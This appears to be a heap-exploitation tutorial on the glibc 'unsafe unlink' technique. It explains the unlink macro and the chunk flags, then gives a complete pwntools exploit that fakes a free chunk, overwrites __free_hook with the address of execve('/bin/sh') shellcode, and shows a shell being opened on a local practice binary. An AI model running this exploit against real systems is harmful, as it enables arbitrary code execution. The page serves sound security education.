Unsafe Unlink
Technique
In the process of consolidating chunks, a chunk that has already been linked to a free list is removed from that list using the unlink macro. This unlinking method involves a reflected write that utilizes the chunk's forward (fd
) and backward (bk
) pointers.
The unlinking process overwrites the victim bk
onto the bk
of the chunk indicated by the victim fd
, and the victim fd
onto the fd
of the chunk pointed to by the victim bk
.
Note
To display the heap content, you can use dq mp_.sbrk_base
as the vis
command might not work due to manipulation of fake chunk size.
Warning
The safe unlinking feature was added to GLIBC version 2.3.4
in 2004.
Flags:
- PREV_INUSE:
1
if the previous chunk is in use,0
if freed - IS_MMAPPED:
1
if the chunk was allocated viammap()
, otherwise0
- NON_MAIN_ARENA:
1
if the chunk does not belong to the main arena, otherwise0
Exploit Script
Create a fake free chunk using an 8-byte overflow and manipulate the unlinking process to replace the __free_hook
address with the shellcode address.
#!/usr/bin/env python3
from pwn import *
def malloc(size):
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"size: ", str(size).encode())
def edit(idx, data):
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"index: ", str(idx).encode())
io.sendafter(b"data: ", data)
def free(idx):
io.sendlineafter(b"> ", b"3")
io.sendlineafter(b"index: ", str(idx).encode())
def read_leak():
io.recvuntil(b"puts() @ ")
puts_addr = int(io.recvline().strip(), 16)
io.recvuntil(b"heap @ ")
heap_addr = int(io.recvline().strip(), 16)
return puts_addr, heap_addr
# -----[ CONTEXT ]-----
DEBUG = False
BINARY = "./unsafe_unlink"
LIBC = "../.glibc/glibc_2.23_unsafe-unlink/libc.so.6"
elf = context.binary = ELF(BINARY, checksec=False)
libc = ELF(LIBC, checksec=False)
context.log_level = "debug" if DEBUG else "info"
# -----[ EXPLOIT ]-----
if DEBUG:
io = gdb.debug([BINARY], gdbscript="""
continue
""")
else:
io = process([BINARY])
# Read the leak & calculate the addresses
puts, heap = read_leak()
libc.address = puts - libc.sym["puts"]
print(f"puts: {hex(puts)}")
print(f"libc: {hex(libc.address)}")
print(f"heap: {hex(heap)}")
W = 8
# Skip the metadata and jump to the shellcode
shellcode = asm(
f"jmp $+{3*W};" + \
"nop;" * 3 * W + shellcraft.execve("/bin/sh")
)
# ---------------------------
CHUNK_SIZE = 0x90
DATA_SIZE = 0x90 - W
malloc(DATA_SIZE)
malloc(DATA_SIZE)
# Write primitive on the unlinking mechanism (removing the chunk from the free list)
# The fd pointers will be replaced by the bk pointer
fd = p64(libc.sym["__free_hook"] - 3 * W) # bk is at the start of the chunk + 3 * pointer size
bk = p64(heap + 0x20) # shellcode address
prev_size = p64(CHUNK_SIZE)
second_chunk_size = p64(CHUNK_SIZE) # Removing the prev_inuse bit (0x91 & ~0x1 = 0x90)
# We can set our shellcode in the data of the first chunk because NX is disabled
payload = shellcode + (DATA_SIZE - len(fd + bk + prev_size) - len(shellcode)) * b"A"
# Create a fake free chunk by creating fd & bk pointers and prev_size field
# Also, we need to remove the prev_inuse bit from the second chunk metadata
edit(0, fd + bk + payload + prev_size + second_chunk_size)
free(1) # Trigger the unlink because the first chunk is a fake free chunk and the second chunk is freed
input("Press Enter to continue...")
free(0) # Trigger the __free_hook call to our shellcode
io.interactive()
Execution
$ python3 xpl_unsafe_unlink.py
[+] Starting local process './unsafe_unlink': pid 20483
puts: 0x7e5fb5c675a0
libc: 0x7e5fb5c00000
heap: 0x608f6fd23000
Press Enter to continue...
[*] Switching to interactive mode
$ id
uid=1001(xanhacks) gid=1001(xanhacks) groups=1001(xanhacks),998(wheel)